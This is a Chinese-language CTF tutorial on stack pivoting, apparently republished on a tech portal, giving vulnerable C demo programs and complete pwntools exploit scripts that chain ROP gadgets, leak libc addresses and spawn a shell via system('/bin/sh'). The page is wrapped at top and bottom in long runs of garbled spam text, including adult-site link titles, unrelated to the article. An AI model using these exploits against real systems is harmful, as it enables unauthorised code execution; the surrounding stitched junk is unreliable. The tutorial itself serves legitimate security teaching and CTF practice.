精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

關于棧遷移的那些事兒

開發 前端
在筆者看來棧遷移的原理其實可以總結為一句話:因為棧溢出字節過少所以劫持rsp?寄存器指向攻擊者提前布置好payload?的內存地址,已達到擴充溢出字節數的目的。?

一、前言

現在的CTF比賽中很難在大型比賽中看到棧溢出類型的賽題,而即使遇到了也是多種利用方式組合出現,尤其以棧遷移配合其他利用方式來達到組合拳的效果,本篇文章意旨通過原理+例題的形式帶領讀者一步步理解棧遷移的原理以及在ctf中的應用。

二、前置知識

在筆者看來棧遷移的原理其實可以總結為一句話:因為棧溢出字節過少所以劫持rsp寄存器指向攻擊者提前布置好payload的內存地址,已達到擴充溢出字節數的目的。 以一個簡單的demo1為例,程序源碼以及編譯指令如下所示:

#include <stdio.h>

char buf1[0x100];

void main() {
char buf2[0x40];
puts("First: ");
read(0, buf1, 0x100);
puts("Second: ");
read(0, buf2, 0x60);

}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c

程序的流程非常簡單存在兩個輸出,第一次是往全局變量buf1第二次是往局部變量buf2中寫入。可以看到在第二次寫入時存在明顯的棧溢出漏洞,但是溢出的字節數只夠寫入0x18大小的字節,如果要構造gadget泄露內存地址,最短的ROP鏈也需要0x20的字節才可以在泄露內存后返回輸入點繼續執行程序。

image-20220726104834218.png

在這種情況就可以使用棧遷移的方式來擴大溢出字節數的大小,在前面說過棧遷移的本質就是劫持rsp寄存器指向攻擊者提前布置好payload的內存地址,而劫持rsp寄存器的指令有很多,最常用的就是函數的退棧返回指令leave; ret。 可以分成兩部分來理解這條指令。首先執行的是leave指令,這條指令共執行了兩個操作mov rsp, rbp和pop rbp,其中rsp寄存器的指向變化如下圖所示,可以看到在執行完leave指令后rsp寄存器指向了返回地址;隨后會執行ret指令,這條指令可以理解成pop rip。因為此時rsp寄存器指向rbp+8即函數的返回地址,所以pop給rip寄存器的就是函數的返回地址,退棧完成。

image-20220726110625946.png

在了解這條指令后不難發現,如果利用溢出漏洞可以覆蓋rbp的值為一個已知地址,那么在執行過兩次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此時rsp寄存器指向的地址即為新的棧地址,只要事先在新地址處布置好想要執行的rop gadget,那么溢出字節過少這個問題就迎刃而解了。

image-20220726115139278.png

根據上面介紹的棧遷移原理,可以總結出使用棧遷移的一些必要條件

  • 存在可以劫持程序流和控制rbp寄存器的漏洞
  • 攻擊者可以確定準確某一塊具有讀寫權限的地址
  • 在進行棧遷移前需要在這塊地址上進行rop gadget?布局

三、例題講解

3.1 例題demo1

在理解了棧遷移的原理后可以通過這個demo來練練手了,進行編譯時未開啟Canary和PIE保護,NX保護開啟防止寫入shellcode

image-20220726150444213.png

這里先將大體的利用思路總結出來,其中的實現細節實現會在下文中進行說明。

  • 未開啟PIE?保護,可以確定第一次寫入的地址記作addr1?,在此地址處布置rop gadget?來實現泄露LIBC地址并返回主函數
  • 利用第二次寫入存在的棧溢出漏洞覆蓋rbp為addr1,rip?為指令leave; ret的地址實現棧遷移
  • 返回主函數后利用ret2libc?執行system("/bin/sh")獲取shell

3.1.1 棧遷移布局

首先我們利用第一次輸入進行rop chain布局,并利用第二次棧溢出漏洞覆蓋rbp為偽棧地址劫持rip為leave; ret指令地址,內存變化如下圖所示。 細心的同學會發現,我們在第一次進行rop chain布局前有一小段padding填充在前面,這是因為在我們進行棧遷移后,程序指令中所有對于棧的操作都會在偽棧內進行,而偽棧地址與got表地址相鄰,填入這小段padding的目的就是為了避免程序在對偽棧進行讀寫數據時造成內存數據段內關鍵信息被覆蓋,從而造成crash現象。

image-20220726204247032.png

在匯編中當我們要對局部變量進行操作時,一般都是用rbp棧底寄存器來定位,如下圖所示。這一點在棧遷移中可以讓我們構造出一個類似于鏈表的利用結構,每次布置rop chain時不斷將rbp寄存器賦值為偽棧地址,然后跳轉到主函數的寫入函數處,因為局部變量尋址是通過rbp寄存器,所以我們可以不斷進行rop chain的布局。 在第一次進行rop chain的布局中控制rbp寄存器指向新的偽棧地址,那么在返回主函數后執行read函數時,寫入地址就是新的偽棧地址,這時只要利用棧溢出漏洞去構造ret2libc即可getshell。

image-20220726211402916.png

3.1.2 EXP

from pwn import *

p = process('./demo1')
libc = ELF('./demo1').libc

fake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572

payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))

payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()

3.2 例題demo2

在CTF比賽中通常只有一次寫入機會,這邊給出demo2的源碼以及編譯命令。

# include <stdio.h>
# include <string.h>
void main() {
char buf[0x28];
puts("Hello Hacker.");

read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c

與demo1一樣demo2未開啟Canary與PIE保護,不同的是demo2中只有一次輸入機會,并且溢出字節數只能覆蓋返回地址。 結合之前講解的棧遷移技巧,首先在劫持rsp前需要進行rop chain布局,程序并沒有一次可以往偽棧布局的機會,但是可以利用劫持程序流的方式來構造這一條件。 觀察程序的匯編代碼如下圖所示,在對局部變量buf進行尋址時使用了rbp寄存器,那么我們可以利用這一點配合棧溢出漏洞來實現偽棧上的rop布局。利用思路如下所示,其中的實現細節實現會在下文中進行說明。

  • 利用棧溢出漏洞劫持rbp?寄存器為偽棧地址,返回地址為0x40054b?(圖中主程序的輸入函數),即可在返回主程序后對偽棧進行rop chain的布局
  • 對偽棧進行rop chain的布局,泄露LIBC地址并返回主函數
  • 返回主函數后利用棧溢出漏洞配合棧遷移+ret2libc完成getshell

image-20220726221209703.png

3.2.1 偽棧rop布局

第一次leave; ret是主函數退棧時執行的,利用棧溢出漏洞覆蓋rbp為偽棧地址,rsp為主函數地址。當我們再次來到主函數的輸入函數時即可在偽棧上布置rop chain。此時的內存變化如下圖所示

image-20220726224554713.png

第二次leave; ret指令依然來自主函數退棧時執行,在偽棧上布置好rop chain后程序執行退棧操作,此時rbp寄存器內保存fack_stack-0x30的地址即rop chain地址+0x8的位置處,rsp寄存器被劫持到偽棧上,此時的內存變化如下圖所示

image-20220726225131346.png

這里為什么是fake_stack-0x30的地址呢?因為在對局部變量buf進行尋址時使用到rbp寄存器,而本題中的buf地址來自[rbp-0x30]的地址,所以如果想要將rsp劫持到rop chain的位置,就需要對rbp寄存器賦值為fakc_stack-0x30,那么在執行第三次leave的時候,rsp寄存器就劫持到rop chain的地址處,此時的內存變化如下圖所示

image-20220726234500873.png

image-20220726225629456.png

泄露完LIBC地址后,劫持程序流返回主函數,利用read函數對偽棧進行最后一次rop布局,需要注意此時的寫入地址是fake_stack-0x30,所以在棧遷移時rbp寄存器的值為fake_stack-0x30-0x30-0x8的地址處,再執行一次leave; ret時即可將rsp寄存器劫持到ret2libc rop地址處。內存變化如下圖所示

image-20220726233002327.png

3.2.2 EXP

from pwn import *
context.log_level = 'debug'

p = process('./demo1')
libc = ELF('./demo1').libc

read_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567

# gdb.attach(p, 'b *0x400567')

payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)

payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))

payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()


責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2021-04-29 10:30:58

MySQL數據遷移

2022-06-02 08:42:15

Redis數據庫

2017-04-12 12:31:14

緩存Web瀏覽器

2017-03-31 09:24:53

AR現實游戲

2012-11-28 10:54:37

禁止追蹤DNT

2020-09-22 14:29:24

智能

2020-05-07 10:05:52

Python數據安全

2014-03-12 09:23:06

DevOps團隊合作

2020-05-06 16:47:08

線程安全Python數據安全

2018-03-01 15:34:20

數據科學面試招聘

2022-07-10 07:48:26

緩存軟件設計

2022-06-04 11:12:12

RPCREST協議

2021-08-16 05:39:33

云計算云計算環境信創云

2016-08-31 10:55:30

螞蟻金服前端

2022-05-08 17:53:38

Nacos服務端客戶端

2023-04-11 07:34:40

分布式系統算法

2021-03-18 09:01:53

軟件開發軟件選型

2024-05-27 08:03:46

2018-03-15 08:50:46

Hive-數據存儲

2018-04-12 16:47:54

新零售
點贊
收藏

51CTO技術棧公眾號

99re热精品视频| 欧美色图另类| 欧美三级免费| 亚洲精品中文字幕女同| 成人在线观看a| 精品国产丝袜高跟鞋| 懂色av一区二区三区免费看| 91精品国产高清久久久久久久久| 国产真人做爰视频免费| 日韩一级淫片| 色婷婷久久久久swag精品 | 中文字幕乱码人妻综合二区三区 | 欧美日韩黄色一级片| 川上优的av在线一区二区| 国产精品一二三区在线| 日韩美女在线看| 欧美激情国产精品免费| 成人毛片在线| 亚洲精品美女视频| 91免费视频污| 欧美大片1688| 亚洲午夜久久久| 在线视频不卡国产| 男人天堂网在线观看| 成人一道本在线| 国产精品一区二区三区毛片淫片| 色婷婷在线观看视频| 久久久国产精品| 亚洲天堂2020| 欧美成人三级伦在线观看| 996久久国产精品线观看| 欧美日韩亚洲一区二区三区| 草草草视频在线观看| 日本最黄一级片免费在线| 久久色在线观看| 丁香五月网久久综合| 888奇米影视| 秋霞av亚洲一区二区三| 欧美一级大片在线观看| 国产午夜视频在线| 欧美日韩一区二区三区四区在线观看 | 黄色永久免费网站| 欧美成人a交片免费看| 天天操天天干天天综合网| 日本美女爱爱视频| а√中文在线8| 国产精品高潮呻吟AV无码| 久久综合欧美| 日韩精品免费一线在线观看| 香蕉久久久久久av成人| 午夜视频一区二区在线观看| 欧美一区二区三区四区高清| 三级av免费看| 国产亚洲观看| 日韩亚洲欧美在线观看| 免费观看黄网站| 涩涩屋成人免费视频软件| 67194成人在线观看| 亚洲性图一区二区| 婷婷精品久久久久久久久久不卡| 欧美视频在线观看一区| 亚洲成色www.777999| 日韩欧美一区二区三区在线观看 | 91午夜视频在线观看| 99国产精品视频免费观看一公开| 久久久免费观看视频| 日韩精品在线不卡| 中文国产一区| 日韩av手机在线看| 亚洲av无码乱码国产精品fc2| 日韩不卡手机在线v区| 国产精品视频精品视频| 国产精品大全| 国产一级视频在线播放| 亚洲一级影院| 日本精品久久久久久久| 中文无码精品一区二区三区| 久久se这里有精品| 91精品国产一区二区三区动漫| www.久久精品.com| 99精品欧美一区二区三区小说| 麻豆精品传媒视频| 三区四区电影在线观看| 一区二区在线观看不卡| 亚洲熟妇国产熟妇肥婆| 影视一区二区三区| 日韩写真欧美这视频| 精品无码人妻少妇久久久久久| 亚洲第一福利专区| www.亚洲天堂| 男人天堂中文字幕| 久久亚洲视频| 91亚洲精华国产精华| 三级小视频在线观看| 欧美激情在线看| 天堂а√在线中文在线| 欧美性xxx| 欧美一区二区在线不卡| 在线观看国产免费视频| 人人狠狠综合久久亚洲婷婷| 欧美激情网站在线观看| 中文字幕手机在线视频| 国产精品一区二区在线播放| 免费成人深夜夜行视频| 福利在线视频网站| 欧美日韩一二三四五区| 91香蕉视频免费看| 国产成人一区二区三区影院| 久久99国产综合精品女同 | 国内精品福利| 国产精品久久久久久亚洲影视| 精品人妻午夜一区二区三区四区 | 日本在线高清视频一区| 影音先锋在线播放| 在线观看一区日韩| 欧美xxxxx精品| 91精品推荐| 国产激情综合五月久久| 亚洲精品一区二区三区新线路| 日本一区二区视频在线| 日韩欧美一区三区| 视频精品一区| 日韩在线小视频| 天天干天天操天天操| 99久久精品国产导航| 久久久天堂国产精品| 亚洲aⅴ网站| 亚洲深夜福利在线| 国产美女激情视频| 成人久久视频在线观看| 男人天堂成人网| 精品女同一区二区三区在线观看| 亚洲理论在线a中文字幕| 久久久久成人精品无码| 国产乱子伦视频一区二区三区| 亚洲国产精品视频一区| 成人免费网站www网站高清| 欧美精品一区在线观看| 玖玖爱这里只有精品| 美国三级日本三级久久99| 日本一区二区在线| 春暖花开亚洲一区二区三区| 亚洲国产美女精品久久久久∴| 日韩女优一区二区| 激情都市一区二区| 在线观看欧美亚洲| 国内精品伊人| 日韩最新免费不卡| 一道本无吗一区| 国产精品家庭影院| 亚洲怡红院在线| 久久亚洲成人| 亚洲一区二区三区毛片| 直接在线观看的三级网址| 日韩一区二区免费在线观看| 岛国毛片在线观看| 国产精品一卡二卡| 成人av在线不卡| 成人在线视频你懂的| 国内精品久久久久久久| 五月婷婷丁香网| 欧美天堂在线观看| 99久久久无码国产精品衣服| 日韩福利电影在线观看| 亚洲一区二区三区精品动漫| 巨大黑人极品videos精品| 日韩视频精品在线| 国产伦一区二区| 亚洲一区中文日韩| 午夜男人的天堂| 欧美亚洲三区| 日本一区二区久久精品| av成人在线播放| 久久精品视频网站| 亚洲高清视频网站| 欧美日韩免费在线观看| 少妇无套高潮一二三区| 久久国产精品露脸对白| 亚洲乱码日产精品bd在线观看| 红杏成人性视频免费看| 日本伊人精品一区二区三区介绍| 1024国产在线| 337p日本欧洲亚洲大胆精品| 国产成人无码一区二区在线播放| 中文字幕乱码久久午夜不卡| 两性午夜免费视频| 一本综合久久| 一个色的综合| 国产毛片久久久| 国产精品精品国产| 亚洲一区二区三区免费观看| 成人黄视频在线观看| 亚洲成色777777在线观看影院| 国产一区免费看| 亚洲宅男天堂在线观看无病毒| 极品人妻一区二区三区| 韩国成人在线视频| 日本黄色三级大片| 欧美另类亚洲| 五月婷婷综合色| 精品精品国产三级a∨在线| 国产精品大片wwwwww| 男女视频在线| 视频直播国产精品| 西西人体44www大胆无码| 欧美性欧美巨大黑白大战| 国产亚洲精品久久777777| 国产免费久久精品| 好吊一区二区三区视频| 国产一区二区视频在线| 日韩在线第三页| 亚洲视频精品| 色乱码一区二区三区熟女| 夜色77av精品影院| 国产精品日韩高清| 色综合久久久| 国产精品电影一区| 久草免费在线视频| 欧美激情二区三区| 黄色大片在线播放| 尤物99国产成人精品视频| 蜜臀av午夜精品| 欧美一区二区在线观看| 在线不卡免费视频| 日本精品一区二区三区高清| 国产精品成人久久| 一区二区三区在线视频观看58| 欧美精品日韩在线| 国产亚洲欧洲997久久综合| yy1111111| 波多野结衣在线一区| 麻豆免费在线观看视频| 黑人巨大精品欧美黑白配亚洲| 一级特黄性色生活片| 久久精品人人| 久久无码高潮喷水| 国产亚洲永久域名| 免费看一级大黄情大片| 一区二区黄色| 乱妇乱女熟妇熟女网站| 夜夜精品视频| 国产精品无码人妻一区二区在线| 黄色在线成人| 久久久性生活视频| 亚洲三级观看| 欧美 日韩 国产在线观看| 在线欧美三区| 黄色网页免费在线观看| 麻豆成人在线| 亚洲人在线视频| 中文字幕第二区| 久久久久久久久岛国免费| 欧美黑人欧美精品刺激| 久久伊人蜜桃av一区二区| 日韩人妻无码一区二区三区| 99re热这里只有精品免费视频| 中文字幕乱码一区| 久久网站最新地址| 非洲一级黄色片| 日本一区二区三区久久久久久久久不| 国产aaaaaaaaa| 自拍偷拍亚洲综合| 精品深夜av无码一区二区老年| 亚洲高清久久久| 在线观看 亚洲| 欧美日韩在线直播| 99热这里是精品| 亚洲电影在线观看| 欧美女优在线| 日韩三级成人av网| 青草在线视频| 青青草原一区二区| 国产成人精品一区二区三区免费| 91免费版网站入口| 欧美日韩一区二区三区在线电影 | 在线精品视频在线观看高清| 国产激情片在线观看| 日韩五码在线| 亚洲一二三区av| 粉嫩av一区二区三区| 欧美性xxxx图片| 最新高清无码专区| 91精品国产高潮对白| 91国在线观看| www.精品久久| 亚洲色在线视频| 欧美一卡二卡| 国产黑人绿帽在线第一区| 日韩精品成人在线观看| 久久av一区二区| 91日韩免费| 欧美大片在线播放| 蜜桃视频一区二区三区| 久草视频福利在线| 国产成人精品999在线观看| 最近2019中文字幕第三页视频 | 一区二区三区中文在线| 欧美一级淫片免费视频黄| 欧美一区二区三区视频免费播放 | 中文人妻熟女乱又乱精品| 日韩欧美国产一区二区三区| 麻豆导航在线观看| 欧美情侣性视频| 成人国产网站| 好吊妞www.84com只有这里才有精品| 成人精品影院| 欧美成人xxxxx| 国产福利一区二区| 日本一卡二卡在线播放| 精品久久久久久久久久久久| 国产精品久久欧美久久一区| 亚洲免费福利视频| www555久久| 91午夜理伦私人影院| 欧美日韩一二| 免费看一级大黄情大片| 懂色av噜噜一区二区三区av| 中文字幕资源站| 91电影在线观看| 少妇一区二区三区四区| 欧美大成色www永久网站婷| 99只有精品| 日本精品一区二区三区高清 久久| 亚洲无毛电影| 91人妻一区二区三区| 亚洲欧洲日本在线| 亚洲第一区av| 国产亚洲综合久久| 桃色一区二区| 久久涩涩网站| 国产精品嫩草99av在线| 国产51自产区| 亚洲线精品一区二区三区| av 一区二区三区| 久久综合五月天| 日本午夜精品久久久久| 亚洲欧美成人一区| 日本午夜一区二区| 婷婷丁香综合网| 欧美日韩你懂得| av男人的天堂在线| 国产精品日韩欧美综合| 欧州一区二区| 黄色免费网址大全| 国产精品亲子乱子伦xxxx裸| 中文字幕免费在线看| 中文字幕亚洲欧美| 先锋影音网一区二区| 天堂v在线视频| 韩国精品一区二区| 破处女黄色一级片| 欧美变态tickle挠乳网站| 欧美hdxxxxx| 国产精品视频福利| 欧美亚洲一级| 国产1区2区在线观看| 欧美群妇大交群中文字幕| 麻豆免费在线观看| 日本一区二区在线不卡| 偷偷操不一样的久久| 亚洲欧美三级伦理| 本网站久久精品| 国产人妻互换一区二区| 成人精品电影在线观看| 羞羞影院体验区| 亚洲天堂男人的天堂| 久久免费资源| 国产高清www| 久久老女人爱爱| 亚洲天堂中文网| 欧美日韩国产成人在线观看| 精品按摩偷拍| 国产xxxxx视频| 亚洲人成在线播放网站岛国| 丰满肥臀噗嗤啊x99av| 欧美与黑人午夜性猛交久久久| 精品香蕉视频| 可以看的av网址| 欧美视频免费在线观看| 日本免费在线观看| 国产精品露出视频| 人禽交欧美网站| 中文在线观看免费网站| 一区二区三区www| 伊人久久噜噜噜躁狠狠躁| 欧美 日韩精品| 综合久久一区二区三区| 香蕉视频成人在线| 国产在线播放91| 99国产精品久久久久久久成人热| 成年人视频软件| 亚洲激情国产精品| 深夜日韩欧美| av观看免费在线| 亚洲激情综合网| 高清性色生活片在线观看| www.久久艹| 美国十次了思思久久精品导航| 日本va欧美va国产激情| www.亚洲天堂|